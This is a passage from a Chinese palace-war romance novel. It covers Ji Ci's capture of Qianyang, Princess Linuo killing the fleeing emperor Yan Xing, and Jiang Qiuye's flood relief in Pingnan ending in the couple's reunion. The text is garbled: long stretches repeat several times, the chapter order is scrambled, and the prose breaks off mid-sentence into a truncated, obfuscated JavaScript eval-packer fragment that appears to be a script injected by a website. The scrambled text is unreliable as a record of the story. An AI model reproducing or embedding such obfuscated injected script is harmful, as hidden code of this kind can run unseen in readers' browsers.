如今大晋兵马集中于翼州与乾阳之外,季辞一心在攻陷乾阳,定来不及抽调人马前往救灾。没有犹豫过久,她便决定,带着季辞留给她的那批人马,亲自前往平南治理水患。 只是可惜,或许季辞大捷后,无法在淮西第一眼见到她。 可想到水患之事容不得拖延,便留了口信给淮西县令,直接带兵往平南而去。 姜秋叶到了当地时,发现如今平南灾患比想象中严重许多。平南县处在低谷,逃出来的人都拖家带口往高处而去,一路上哭声此起彼伏,让人心碎。 她路过一家刚从县中出逃来的,其中有一壮汉,向他打听其中状况。 那壮汉满脸无力,道:“我家逃出来之时,我大概一看,还有一半的人被困城中。我也是势单力薄,能救我一家就算不错了。” 壮汉说完便带着家人往后而去,姜秋叶没能见到平南县令,听闻竟还有一半人受困,便带人往下而去。 她不顾及天去劝阻,直接带人入了平南县,吩咐下面人以木板做船,挨家挨户搜索被困者。到处都是被毁了房田之人,抱着小孩和猫狗爬上树,瑟瑟发抖。 看着早已被毁坏的平南,不由心中感慨。 此番救援一直持续到夜间,她上了山丘后坐到一处草坪,脱下自己的鞋履,里面全是污泥浊水。 “王妃!” 一声熟悉的声音在身后响起,姜秋叶转头看去,竟是县令夫人朱氏。 她见状立刻想要起身,朱氏却冲上来扶住让她安心坐下歇息,“近日不少百姓被困城中,没想到后来突然来了这么多救灾的士卒,我还在猜想是否是盛京所派,却没想到竟是王妃。” 朱氏拉着她的手痛哭流涕道:“王妃真是来得及时,朝廷距离此地甚远,看来如今还未能有所行动。多亏了王妃,如今百姓被一一救出,我们手下有能人异士,已经制订好治水策略。一是重新修复堤坝,二是分流。可我们平南没有那么多徭役,如今王妃带了人,也正是解决了燃眉之急。” 姜秋叶笑了笑,和声细语道:“夫人莫要担忧,明日,我这便让他们下去,开始按照策略治水。只是我来时,见不少人家受了灾,不仅伤亡惨重,还损失粮田财产。或许,我们可以召集城中医者,找一处平地设置营帐,对伤者进行救治。我再写信至盛京,请求圣上开放粮仓,救济灾民。” …… 燕悻被杀的确切消息从力诺那里传至季辞手中后,立刻将此消息写在纸条之上,绑在数千去了头的箭上,全部射入乾阳城中。 不过一日时间,那些还抱着侥幸的残存骊军终于放下护城河吊桥,打开城门投降,迎晋军入城。晋军军纪森严,不得扰民,但凡做出烧杀抢掠之行,一律问斩。 铁甲泛着寒光,季辞落座于黑色大马之上,入城后扫视着害怕的百姓,还有曾经儿时的记忆。 时隔二十年,他终于回来了。 似乎与曾经无甚不同,又似乎很不一样。 以前总觉宫中乏闷无聊,喜好出宫玩耍,城郊那片树林与溪河,乃是母后最喜欢带他和兄长前去的地方。 那时年幼,还未到喝酒的年纪,便偷偷入了一家酒楼尝酒,结果醉得连话都说不清,回宫后便被父皇一通教训。 还有那毬场,舞楼,斗子楼...... 想到这些儿时记忆,唇角不由微微勾起。一行人带兵入主太和宫,宫中空旷,比盛京晋和宫宽大而又华丽,似乎全部都是儿时生活过的痕迹。 宫女侍卫该跑的跑了不少,剩下的全部主动出来相迎,跪地等候命令,各个脸上惊慌失措。 将太和宫骑马绕了一圈,去过曾经自己住过的宫殿,母后的宫殿,心中感慨万千,却不再留恋任何。 少顷,一手下飞奔而来,朝着季辞行礼道:“王爷,发现了,飞燕阁所在地。” 季辞眯起眼睛,立刻道:“带路。” 一路纵马狂奔,跟随着那名属下来到乾阳城郊一处隐蔽之地 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安排好乾阳剩余所有事务之后,他再也按捺不住躁动的心,直接上马往淮西赶去。身边只带上两随从,马蹄溅起地上的积水和烂泥,他无法等待片刻,血液沸腾翻涌,心似鹿撞,只想见她一人。 没日没夜的赶路,路过城镇换马后又继续纵马狂奔。终于在一日傍晚赶到淮西,他直接往淮西府衙而去,身上沁出一层热汗。 可当入了府衙后,四周寂静,黑灯瞎火,与想象中不一样。寻了一整圈,竟然没看到姜秋叶的身影,连天去都不在。他心中失落万分,十分不解,正当着急之时,县令才匆匆赶来,看起来是被人从睡梦中喊醒,他想要行礼,却被他摆手拒绝。 他心急如焚道:“王妃呢?” 县令抹了一把额上的汗,恭敬道:“回王爷,平南四处发了水患,王妃带人去了平南县救灾了,此刻应在那里。” 水患? 他一直沉浸在大战当中,对民生方面少了些许关注,却没想到她竟替自己亲赴平南救灾。 咽了咽口水,在县令的安排下,随意吃了几口饭,洗澡换了身衣服。几夜奔波,实在劳累,便小憩两个时辰后,再次上路。 …… 入了秋,雨季已过,连日暴雨终停。 随着救灾有条有理的展开,不少难民们皆得到极好的安置,众人皆感叹祁王妃功绩与仁善,每日见她亲力亲为,不仅帮助受伤的人包扎伤口,安置灾民,施粥布膳,还亲赴现场,参与修建堤坝,开河道。 是日,天气晴朗,她再一次带着天去前往河道,拿过铁铲干活。 天去挠挠头,道:“王妃,这些苦力活交给我们这些下人做便好,无需王妃亲自动手。” 她擦了擦汗,笑道:“天去,你可小看我了。你力气怕还没我大呢。再说,多一人,便多一份力,早些结束,我们也能早些离开。” 她不知道如今乾阳战况如何,还是希望能够加快些速度,结束救灾,回淮西等季辞大捷归来。 天去见她固执,劝不住,便只能无奈由她去。 忙活了一上午,姜秋叶弄得自己灰头土脸,身上靴上全是泥泞。晌午时刻,众人皆休息用膳。她笑着拒绝了他人一同用膳的请求,一个人走了一段距离,直接上了蛮儿丘顶部。 曾经来这里是在春季,她记得那时杏花正开得旺盛。如今入秋,却是遍地秋叶,不同于当时的美。 忽然一只小手拉了拉她的裙摆,低头见是一个小女孩。自从有了宏儿,她对小孩都格外有耐心起来。 她蹲下与小女孩齐平,笑着好奇道:“你是谁呀?找姐姐何事呀?” 小女孩笑着给姜秋叶递上几颗葡萄,稚嫩地开口道:“阿娘让我送给王妃,她说王妃是我们的大恩人,要一辈子牢记王妃恩情,大家都最喜欢王妃了!” 姜秋叶脸颊一热,受宠若惊地接过,又摸了摸小女孩的头顶。看她接受后,小女孩便笑着跑走,小身影磕磕绊绊,着实可爱。 曾经冷血的她,从不在意别人死活,或许万万想不到如今自己竟会为了季辞,不顾一切,亲赴救灾。还能被这么多人发自内心的真切喜欢,这种感受与以往大不相同。 她笑着站起身,将手中葡萄一颗颗吃下,有些酸,心里却是极甜。 一阵微风吹过,撩起一些她束在后脑的三千青丝,忽然心中有所感,立刻转身,几片秋叶从地上被风卷起,滑过眼帘后再落下,露出了不远处骑于大马上的人影。 她似秋水芙蓉般站在红叶之间,他也并未着急靠近,只是远远相望,似是隔了许多年一般。 忽然间,她想起了他们第一次相见,也是这般,他在一黑色大马之上,她猝不及防地与他四目相对,那好像是几年前,又好像是昨日,也好像前世与未来的每一辈子。 姜秋叶渐渐红起了双眼,看着他再次纵马奔来,马蹄发出哒哒声,在离她很近的地方,他勒住缰绳,翻身下马,走至她的面前,一言不发地将她一把拉入怀中,狠狠吻上她柔软的唇瓣。 她身着素衣,全是污泥,可即便如此,她也美到杀死百里蜂蝶。四周是被风卷起的秋叶,还有来自她身上那股万花混集的香。 谁能想到,本以为一生倾颓的他,竟然能如此爱她。 谁又能想到,曾经谎言连篇的她,也如此爱他。 他忽然想起她最喜爱的那句诗,是什么来着? 嗯,想起来了。 惊起归鸿不成字,辞柯落叶最知秋。 许久之后,他们依然紧紧相拥,他来到她耳边,低喃道:“叶儿,我回来了。” (正文完结) 110.结局(下) 第一百一十章 景平四年,六月季夏,晋军在季辞带领下兵分六路,对乾阳形成最终围合之势。本是最终攻伐进城之时,却遇了难。 先是忽逢连绵雨季,整日暴雨不断,护城河水位上涨,攻城变得比计划艰难。 再是,骊国皇帝燕悻自知大势已去,无路可逃,封锁紧闭城门,开始用城中百姓生命威胁季辞退兵。 如今便形成了此番僵局,晋军驻扎乾阳城外,每日都有百姓尸体被城中士兵从城楼上扔下,以示对晋军的警告威胁。 乾阳百姓民怨沸腾,却奈何手无寸铁,根本无法与骊军抗衡。 豆大的雨滴每日噼里啪啦滴下,军帐之中,众人正商讨破局之策,可却毫无头绪。 “依我看,不如我们不管燕悻小贼做甚,直接强行破城算了!难不成他还能来得及将城中百姓屠戮殆尽?”副将满脸怒意,如今胜利近在眼前,那燕悻却做出此等下作之事。 “不可!”季辞蹙眉,有些头疼,“此举与骊贼曾经的屠城之举何异?再加上如今护城河水位上涨,其湍急之势你们也曾见过,并非最佳渡河时机。为今之计,最保险的还是打消耗战。可如此一来,城中百姓更是受苦受难。” 最终众人并未商讨出最佳的攻城策略,只能先将其一放。 季辞走出营帐中,看着天空的瓢泼大雨,外面的士兵都已淋透,忙着给战马做挡雨之物。他低估了燕悻的无道,导致如今僵在这里无法动弹。走至能看见乾阳城门之处,只见城下堆叠着一具具尸体,皆是被骊军残害的百姓。 即使在如此远的距离,也能闻到从城中飘散而来的腥臭。 他双拳紧握,心中恼怒。 确实,消耗战打不起,强攻也不行。 五日后,他给乾阳城中燕悻递去消息,晋军撤兵至十里外。 乾阳太和宫中,燕悻整日饮酒不断,没想到自己辛苦建立的骊国,短短二十年都没有便又要结束在自己手中。 一内侍为燕悻倒上清酒,又盛上一碟糕点。 他吃糕点时太急被噎住,呛咳了好一阵,又灌了不少酒才咽下。没想到连这糕点都与自己作对。 他暴怒摔杯,那鎏金酒杯砸至那倒酒内侍的额头,破开了一条口子,又落在地上滚了好几圈。他心中恼怒不已,那内侍吓得立即跪在了地上叩首,口中不停重复喊着“陛下饶命”。 看着这个卑微的内侍,他直接抽刀上前,正准备以杀戮发泄一通时,忽有人来报信,祁王季辞答应了他的要求,已退兵至十里外。 燕悻怔住,未想到自己竟能成功,大喜过望,将手中大刀掷地,放了那内侍一命。立刻摇摇晃晃召集众臣商议此事,如今无论如何,乾阳定然守不住了。众人最终决定从乾阳东门出逃,再绕道一路往西。若是能入西域,说不定有起死回生的可能。 做好决定后,先让几个斥候前往城外查探,确定晋军退兵,并且无埋伏,这才带着众妃子朝臣,还有剩余的残兵,悄悄出城,一路翻山越岭,往西而去。 而乾阳城内还留下些许被蒙在鼓里的骊军,继续守城,每日准时抓几个无辜人杀戮一番,再从城墙处抛下,却不知自己的皇帝早已逃之夭夭。 燕悻一行人迅速且顺利,仅仅十日后便直接出关,晋军没能赶上他们的速度。一路黄沙漫天,沙尘暴一来,便是满口沙子,双眼难睁,寸步难行。 众人面孔憔悴,嘴唇干裂,被这风沙摧残,饱受折磨,妃子们哪儿受过这般罪,纷纷嚎啕大哭起来,惹得燕悻心中更是不快。 在一处岩壁后等待许久,沙尘暴过去,正当继续前行时,忽然见前方似乎有一大群骑马之人,带着地动山摇之势。 燕悻吃不准是哪路人马,准备带队从旁绕道时,竟没能跑过那群常年在沙地奔跑的战马,最后被团团围住。 仔细一看,竟是狄胡装扮,燕悻大怒:“尔等给朕速速让开,此乃骊国与晋国之事,你们狄胡莫要插手。” 哪儿知一声嗤笑,一女子骑于高马之上靠近,正是狄胡公主力诺,大笑道:“我狄胡如今王妃安阳乃晋国长公主,我们与晋国盟约众所周知。让你失望了,正是晋国猜到你们一路西逃,恳求我狄胡发兵,捉捕你们骊贼!” 燕悻哪儿会服气,见对方人马不算多,便让手下兵士与之交战。金戈铁马,寒枪剑戟,双方都杀红了眼,可奈何狄胡虽人少,却是兵强马壮,又常年活动于这大漠,不惧风沙,骊军很快落了下风。 燕悻见状同样提刀上前砍了两人,结果被刺伤了腹部,最后又冒着冷汗,气喘吁吁退下躲到中心。 虽然二十多年前他四处征战,战无不胜。可这些年日日沉迷享乐,酒池肉林,以前所学早已荒废,如今大腹便便,动几下便体力不支。 燕悻的妃子们都缩在一起大叫,从未见过真正战场上这般血腥场面,各个下跪投降,求力诺放她们一马。 燕悻见状心中更是恼怒不已,大声呵斥:“我骊国之人岂能投降于狄胡蛮人!” 他再次提刀,却不是往狄胡兵而去,而是直接抓住一妃子斩了脑袋,血溅三尺,力诺见状眉头紧蹙,似是没想到此人竟如此毫无人性。 他嘶吼着,指天骂地:“莫要过来,谁若靠近我,我便杀一人!” “啊——”妃子们惊恐大叫。 燕悻不管不顾,说完见狄胡似乎没有受到他的话语所影响,于是又拎出一看起来年仅十四的妃子,便要落下大刀,却没想到骤然间胸口一凉,忽然疼痛袭来,扩散至四肢,原来是一支穿透了胸膛的利箭。他忽感浑身无力,手中的刀掉落地上。 那妃子见状立刻挣扎跑开。 力诺立于马上,抽出另一支箭矢,遗憾道:“原本打算活捉了你,如今看来,此等无德之辈,不配苟活。” 说完,她又射出一箭,正中燕悻心脏。他终于仰面倒地,口中冒出鲜血。剩余残兵见骊国皇帝死在箭下,没有了负隅顽抗的意义,便纷纷投降。 结束了战斗,力诺面无表情地看着那地上的燕悻,讽刺一笑。 十日前,狄胡乌吉收到祁王快马加鞭送去的信件,阐述骊国燕悻,或许会弃城西逃,希望狄胡可助晋发兵,围剿骊贼。 原本狄胡犹豫,虽与晋国和亲,却并非晋国附属国,此番搅入两国浑水,动兵折将,实在非他们所愿。可季辞却许诺将大晋农耕畜牧技术传授于狄胡。 要知狄胡立于荒漠之地,虽是一片绿洲之中,可除了环境因素,本身粮产畜牧等技术远远不如晋国,可以说极其落后,每年存粮不足乃最大的问题。而大晋在此则优于诸国,若真能获得此技术,便能解决狄胡民众最大的问题。 力诺不得不佩服,祁王若是给出金钱,美人等,他们定然不会接受,可许出这份厚利,却使他们为其不得不出兵。 …… 暴雨从六月中旬便没有停过,四处河流水位上涨,到了六月底,堤坝溃决,大水直接淹了不少村庄,其中最严重的,当属平南县。 姜秋叶本每日待在淮西,等待战报,可听闻此事后,心中忧虑起来。 如今大晋兵马集中于翼州与乾阳之外,季辞一心在攻陷乾阳,定来不及抽调人马前往救灾。没有犹豫过久,她便决定,带着季辞留给她的那批人马,亲自前往平南治理水患。 只是可惜,或许季辞大捷后,无法在淮西第一眼见到她。 可想到水患之事容不得拖延,便留了口信给淮西县令,直接带兵往平南而去。 姜秋叶到了当地时,发现如今平南灾患比想象中严重许多。平南县处在低谷,逃出来的人都拖家带口往高处而去,一路上哭声此起彼伏,让人心碎。 她路过一家刚从县中出逃来的,其中有一壮汉,向他打听其中状况。 那壮汉满脸无力,道:“我家逃出来之时,我大概一看,还有一半的人被困城中。我也是势单力薄,能救我一家就算不错了。” 壮汉说完便带着家人往后而去,姜秋叶没能见到平南县令,听闻竟还有一半人受困,便带人往下而去。 她不顾及天去劝阻,直接带人入了平南县,吩咐下面人以木板做船,挨家挨户搜索被困者。到处都是被毁了房田之人,抱着小孩和猫狗爬上树,瑟瑟发抖。 看着早已被毁坏的平南,不由心中感慨。 此番救援一直持续到夜间,她上了山丘后坐到一处草坪,脱下自己的鞋履,里面全是污泥浊水。 “王妃!” 一声熟悉的声音在身后响起,姜秋叶转头看去,竟是县令夫人朱氏。 她见状立刻想要起身,朱氏却冲上来扶住让她安心坐下歇息,“近日不少百姓被困城中,没想到后来突然来了这么多救灾的士卒,我还在猜想是否是盛京所派,却没想到竟是王妃。” 朱氏拉着她的手痛哭流涕道:“王妃真是来得及时,朝廷距离此地甚远,看来如今还未能有所行动。多亏了王妃,如今百姓被一一救出,我们手下有能人异士,已经制订好治水策略。一是重新修复堤坝,二是分流。可我们平南没有那么多徭役,如今王妃带了人,也正是解决了燃眉之急。” 姜秋叶笑了笑,和声细语道:“夫人莫要担忧,明日,我这便让他们下去,开始按照策略治水。只是我来时,见不少人家受了灾,不仅伤亡惨重,还损失粮田财产。或许,我们可以召集城中医者,找一处平地设置营帐,对伤者进行救治。我再写信至盛京,请求圣上开放粮仓,救济灾民。” …… 燕悻被杀的确切消息从力诺那里传至季辞手中后,立刻将此消息写在纸条之上,绑在数千去了头的箭上,全部射入乾阳城中。 不过一日时间,那些还抱着侥幸的残存骊军终于放下护城河吊桥,打开城门投降,迎晋军入城。晋军军纪森严,不得扰民,但凡做出烧杀抢掠之行,一律问斩。 铁甲泛着寒光,季辞落座于黑色大马之上,入城后扫视着害怕的百姓,还有曾经儿时的记忆。 时隔二十年,他终于回来了。 似乎与曾经无甚不同,又似乎很不一样。 以前总觉宫中乏闷无聊,喜好出宫玩耍,城郊那片树林与溪河,乃是母后最喜欢带他和兄长前去的地方。 那时年幼,还未到喝酒的年纪,便偷偷入了一家酒楼尝酒,结果醉得连话都说不清,回宫后便被父皇一通教训。 还有那毬场,舞楼,斗子楼...... 想到这些儿时记忆,唇角不由微微勾起。一行人带兵入主太和宫,宫中空旷,比盛京晋和宫宽大而又华丽,似乎全部都是儿时生活过的痕迹。 宫女侍卫该跑的跑了不少,剩下的全部主动出来相迎,跪地等候命令,各个脸上惊慌失措。 将太和宫骑马绕了一圈,去过曾经自己住过的宫殿,母后的宫殿,心中感慨万千,却不再留恋任何。 少顷,一手下飞奔而来,朝着季辞行礼道:“王爷,发现了,飞燕阁所在地。” 季辞眯起眼睛,立刻道:“带路。” 一路纵马狂奔,跟随着那名属下来到乾阳城郊一处隐蔽之地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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咽了咽口水,在县令的安排下,随意吃了几口饭,洗澡换了身衣服。几夜奔波,实在劳累,便小憩两个时辰后,再次上路。 …… 入了秋,雨季已过,连日暴雨终停。 随着救灾有条有理的展开,不少难民们皆得到极好的安置,众人皆感叹祁王妃功绩与仁善,每日见她亲力亲为,不仅帮助受伤的人包扎伤口,安置灾民,施粥布膳,还亲赴现场,参与修建堤坝,开河道。 是日,天气晴朗,她再一次带着天去前往河道,拿过铁铲干活。 天去挠挠头,道:“王妃,这些苦力活交给我们这些下人做便好,无需王妃亲自动手。” 她擦了擦汗,笑道:“天去,你可小看我了。你力气怕还没我大呢。再说,多一人,便多一份力,早些结束,我们也能早些离开。” 她不知道如今乾阳战况如何,还是希望能够加快些速度,结束救灾,回淮西等季辞大捷归来。 天去见她固执,劝不住,便只能无奈由她去。 忙活了一上午,姜秋叶弄得自己灰头土脸,身上靴上全是泥泞。晌午时刻,众人皆休息用膳。她笑着拒绝了他人一同用膳的请求,一个人走了一段距离,直接上了蛮儿丘顶部。 曾经来这里是在春季,她记得那时杏花正开得旺盛。如今入秋,却是遍地秋叶,不同于当时的美。 忽然一只小手拉了拉她的裙摆,低头见是一个小女孩。自从有了宏儿,她对小孩都格外有耐心起来。 她蹲下与小女孩齐平,笑着好奇道:“你是谁呀?找姐姐何事呀?” 小女孩笑着给姜秋叶递上几颗葡萄,稚嫩地开口道:“阿娘让我送给王妃,她说王妃是我们的大恩人,要一辈子牢记王妃恩情,大家都最喜欢王妃了!” 姜秋叶脸颊一热,受宠若惊地接过,又摸了摸小女孩的头顶。看她接受后,小女孩便笑着跑走,小身影磕磕绊绊,着实可爱。 曾经冷血的她,从不在意别人死活,或许万万想不到如今自己竟会为了季辞,不顾一切,亲赴救灾。还能被这么多人发自内心的真切喜欢,这种感受与以往大不相同。 她笑着站起身,将手中葡萄一颗颗吃下,有些酸,心里却是极甜。 一阵微风吹过,撩起一些她束在后脑的三千青丝,忽然心中有所感,立刻转身,几片秋叶从地上被风卷起,滑过眼帘后再落下,露出了不远处骑于大马上的人影。 她似秋水芙蓉般站在红叶之间,他也并未着急靠近,只是远远相望,似是隔了许多年一般。 忽然间,她想起了他们第一次相见,也是这般,他在一黑色大马之上,她猝不及防地与他四目相对,那好像是几年前,又好像是昨日,也好像前世与未来的每一辈子。 姜秋叶渐渐红起了双眼,看着他再次纵马奔来,马蹄发出哒哒声,在离她很近的地方,他勒住缰绳,翻身下马,走至她的面前,一言不发地将她一把拉入怀中,狠狠吻上她柔软的唇瓣。 她身着素衣,全是污泥,可即便如此,她也美到杀死百里蜂蝶。四周是被风卷起的秋叶,还有来自她身上那股万花混集的香。 谁能想到,本以为一生倾颓的他,竟然能如此爱她。 谁又能想到,曾经谎言连篇的她,也如此爱他。 他忽然想起她最喜爱的那句诗,是什么来着? 嗯,想起来了。 惊起归鸿不成字,辞柯落叶最知秋。 许久之后,他们依然紧紧相拥,他来到她耳边,低喃道:“叶儿,我回来了。” (正文完结) 110.结局(下) 第一百一十章 景平四年,六月季夏,晋军在季辞带领下兵分六路,对乾阳形成最终围合之势。本是最终攻伐进城之时,却遇了难。 先是忽逢连绵雨季,整日暴雨不断,护城河水位上涨,攻城变得比计划艰难。 再是,骊国皇帝燕悻自知大势已去,无路可逃,封锁紧闭城门,开始用城中百姓生命威胁季辞退兵。 如今便形成了此番僵局,晋军驻扎乾阳城外,每日都有百姓尸体被城中士兵从城楼上扔下,以示对晋军的警告威胁。 乾阳百姓民怨沸腾,却奈何手无寸铁,根本无法与骊军抗衡。 豆大的雨滴每日噼里啪啦滴下,军帐之中,众人正商讨破局之策,可却毫无头绪。 “依我看,不如我们不管燕悻小贼做甚,直接强行破城算了!难不成他还能来得及将城中百姓屠戮殆尽?”副将满脸怒意,如今胜利近在眼前,那燕悻却做出此等下作之事。 “不可!”季辞蹙眉,有些头疼,“此举与骊贼曾经的屠城之举何异?再加上如今护城河水位上涨,其湍急之势你们也曾见过,并非最佳渡河时机。为今之计,最保险的还是打消耗战。可如此一来,城中百姓更是受苦受难。” 最终众人并未商讨出最佳的攻城策略,只能先将其一放。 季辞走出营帐中,看着天空的瓢泼大雨,外面的士兵都已淋透,忙着给战马做挡雨之物。他低估了燕悻的无道,导致如今僵在这里无法动弹。走至能看见乾阳城门之处,只见城下堆叠着一具具尸体,皆是被骊军残害的百姓。 即使在如此远的距离,也能闻到从城中飘散而来的腥臭。 他双拳紧握,心中恼怒。 确实,消耗战打不起,强攻也不行。 五日后,他给乾阳城中燕悻递去消息,晋军撤兵至十里外。 乾阳太和宫中,燕悻整日饮酒不断,没想到自己辛苦建立的骊国,短短二十年都没有便又要结束在自己手中。 一内侍为燕悻倒上清酒,又盛上一碟糕点。 他吃糕点时太急被噎住,呛咳了好一阵,又灌了不少酒才咽下。没想到连这糕点都与自己作对。 他暴怒摔杯,那鎏金酒杯砸至那倒酒内侍的额头,破开了一条口子,又落在地上滚了好几圈。他心中恼怒不已,那内侍吓得立即跪在了地上叩首,口中不停重复喊着“陛下饶命”。 看着这个卑微的内侍,他直接抽刀上前,正准备以杀戮发泄一通时,忽有人来报信,祁王季辞答应了他的要求,已退兵至十里外。 燕悻怔住,未想到自己竟能成功,大喜过望,将手中大刀掷地,放了那内侍一命。立刻摇摇晃晃召集众臣商议此事,如今无论如何,乾阳定然守不住了。众人最终决定从乾阳东门出逃,再绕道一路往西。若是能入西域,说不定有起死回生的可能。 做好决定后,先让几个斥候前往城外查探,确定晋军退兵,并且无埋伏,这才带着众妃子朝臣,还有剩余的残兵,悄悄出城,一路翻山越岭,往西而去。 而乾阳城内还留下些许被蒙在鼓里的骊军,继续守城,每日准时抓几个无辜人杀戮一番,再从城墙处抛下,却不知自己的皇帝早已逃之夭夭。 燕悻一行人迅速且顺利,仅仅十日后便直接出关,晋军没能赶上他们的速度。一路黄沙漫天,沙尘暴一来,便是满口沙子,双眼难睁,寸步难行。 众人面孔憔悴,嘴唇干裂,被这风沙摧残,饱受折磨,妃子们哪儿受过这般罪,纷纷嚎啕大哭起来,惹得燕悻心中更是不快。 在一处岩壁后等待许久,沙尘暴过去,正当继续前行时,忽然见前方似乎有一大群骑马之人,带着地动山摇之势。 燕悻吃不准是哪路人马,准备带队从旁绕道时,竟没能跑过那群常年在沙地奔跑的战马,最后被团团围住。 仔细一看,竟是狄胡装扮,燕悻大怒:“尔等给朕速速让开,此乃骊国与晋国之事,你们狄胡莫要插手。” 哪儿知一声嗤笑,一女子骑于高马之上靠近,正是狄胡公主力诺,大笑道:“我狄胡如今王妃安阳乃晋国长公主,我们与晋国盟约众所周知。让你失望了,正是晋国猜到你们一路西逃,恳求我狄胡发兵,捉捕你们骊贼!” 燕悻哪儿会服气,见对方人马不算多,便让手下兵士与之交战。金戈铁马,寒枪剑戟,双方都杀红了眼,可奈何狄胡虽人少,却是兵强马壮,又常年活动于这大漠,不惧风沙,骊军很快落了下风。 燕悻见状同样提刀上前砍了两人,结果被刺伤了腹部,最后又冒着冷汗,气喘吁吁退下躲到中心。 虽然二十多年前他四处征战,战无不胜。可这些年日日沉迷享乐,酒池肉林,以前所学早已荒废,如今大腹便便,动几下便体力不支。 燕悻的妃子们都缩在一起大叫,从未见过真正战场上这般血腥场面,各个下跪投降,求力诺放她们一马。 燕悻见状心中更是恼怒不已,大声呵斥:“我骊国之人岂能投降于狄胡蛮人!” 他再次提刀,却不是往狄胡兵而去,而是直接抓住一妃子斩了脑袋,血溅三尺,力诺见状眉头紧蹙,似是没想到此人竟如此毫无人性。 他嘶吼着,指天骂地:“莫要过来,谁若靠近我,我便杀一人!” “啊——”妃子们惊恐大叫。 燕悻不管不顾,说完见狄胡似乎没有受到他的话语所影响,于是又拎出一看起来年仅十四的妃子,便要落下大刀,却没想到骤然间胸口一凉,忽然疼痛袭来,扩散至四肢,原来是一支穿透了胸膛的利箭。他忽感浑身无力,手中的刀掉落地上。 那妃子见状立刻挣扎跑开。 力诺立于马上,抽出另一支箭矢,遗憾道:“原本打算活捉了你,如今看来,此等无德之辈,不配苟活。” 说完,她又射出一箭,正中燕悻心脏。他终于仰面倒地,口中冒出鲜血。剩余残兵见骊国皇帝死在箭下,没有了负隅顽抗的意义,便纷纷投降。 结束了战斗,力诺面无表情地看着那地上的燕悻,讽刺一笑。 十日前,狄胡乌吉收到祁王快马加鞭送去的信件,阐述骊国燕悻,或许会弃城西逃,希望狄胡可助晋发兵,围剿骊贼。 原本狄胡犹豫,虽与晋国和亲,却并非晋国附属国,此番搅入两国浑水,动兵折将,实在非他们所愿。可季辞却许诺将大晋农耕畜牧技术传授于狄胡。 要知狄胡立于荒漠之地,虽是一片绿洲之中,可除了环境因素,本身粮产畜牧等技术远远不如晋国,可以说极其落后,每年存粮不足乃最大的问题。而大晋在此则优于诸国,若真能获得此技术,便能解决狄胡民众最大的问题。 力诺不得不佩服,祁王若是给出金钱,美人等,他们定然不会接受,可许出这份厚利,却使他们为其不得不出兵。 …… 暴雨从六月中旬便没有停过,四处河流水位上涨,到了六月底,堤坝溃决,大水直接淹了不少村庄,其中最严重的,当属平南县。 姜秋叶本每日待在淮西,等待战报,可听闻此事后,心中忧虑起来。 如今大晋兵马集中于翼州与乾阳之外,季辞一心在攻陷乾阳,定来不及抽调人马前往救灾。没有犹豫过久,她便决定,带着季辞留给她的那批人马,亲自前往平南治理水患。 只是可惜,或许季辞大捷后,无法在淮西第一眼见到她。 可想到水患之事容不得拖延,便留了口信给淮西县令,直接带兵往平南而去。 姜秋叶到了当地时,发现如今平南灾患比想象中严重许多。平南县处在低谷,逃出来的人都拖家带口往高处而去,一路上哭声此起彼伏,让人心碎。 她路过一家刚从县中出逃来的,其中有一壮汉,向他打听其中状况。 那壮汉满脸无力,道:“我家逃出来之时,我大概一看,还有一半的人被困城中。我也是势单力薄,能救我一家就算不错了。” 壮汉说完便带着家人往后而去,姜秋叶没能见到平南县令,听闻竟还有一半人受困,便带人往下而去。 她不顾及天去劝阻,直接带人入了平南县,吩咐下面人以木板做船,挨家挨户搜索被困者。到处都是被毁了房田之人,抱着小孩和猫狗爬上树,瑟瑟发抖。 看着早已被毁坏的平南,不由心中感慨。 此番救援一直持续到夜间,她上了山丘后坐到一处草坪,脱下自己的鞋履,里面全是污泥浊水。 “王妃!” 一声熟悉的声音在身后响起,姜秋叶转头看去,竟是县令夫人朱氏。 她见状立刻想要起身,朱氏却冲上来扶住让她安心坐下歇息,“近日不少百姓被困城中,没想到后来突然来了这么多救灾的士卒,我还在猜想是否是盛京所派,却没想到竟是王妃。” 朱氏拉着她的手痛哭流涕道:“王妃真是来得及时,朝廷距离此地甚远,看来如今还未能有所行动。多亏了王妃,如今百姓被一一救出,我们手下有能人异士,已经制订好治水策略。一是重新修复堤坝,二是分流。可我们平南没有那么多徭役,如今王妃带了人,也正是解决了燃眉之急。” 姜秋叶笑了笑,和声细语道:“夫人莫要担忧,明日,我这便让他们下去,开始按照策略治水。只是我来时,见不少人家受了灾,不仅伤亡惨重,还损失粮田财产。或许,我们可以召集城中医者,找一处平地设置营帐,对伤者进行救治。我再写信至盛京,请求圣上开放粮仓,救济灾民。” …… 燕悻被杀的确切消息从力诺那里传至季辞手中后,立刻将此消息写在纸条之上,绑在数千去了头的箭上,全部射入乾阳城中。 不过一日时间,那些还抱着侥幸的残存骊军终于放下护城河吊桥,打开城门投降,迎晋军入城。晋军军纪森严,不得扰民,但凡做出烧杀抢掠之行,一律问斩。 铁甲泛着寒光,季辞落座于黑色大马之上,入城后扫视着害怕的百姓,还有曾经儿时的记忆。 时隔二十年,他终于回来了。 似乎与曾经无甚不同,又似乎很不一样。 以前总觉宫中乏闷无聊,喜好出宫玩耍,城郊那片树林与溪河,乃是母后最喜欢带他和兄长前去的地方。 那时年幼,还未到喝酒的年纪,便偷偷入了一家酒楼尝酒,结果醉得连话都说不清,回宫后便被父皇一通教训。 还有那毬场,舞楼,斗子楼...... 想到这些儿时记忆,唇角不由微微勾起。一行人带兵入主太和宫,宫中空旷,比盛京晋和宫宽大而又华丽,似乎全部都是儿时生活过的痕迹。 宫女侍卫该跑的跑了不少,剩下的全部主动出来相迎,跪地等候命令,各个脸上惊慌失措。 将太和宫骑马绕了一圈,去过曾经自己住过的宫殿,母后的宫殿,心中感慨万千,却不再留恋任何。 少顷,一手下飞奔而来,朝着季辞行礼道:“王爷,发现了,飞燕阁所在地。” 季辞眯起眼睛,立刻道:“带路。” 一路纵马狂奔,跟随着那名属下来到乾阳城郊一处隐蔽之地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 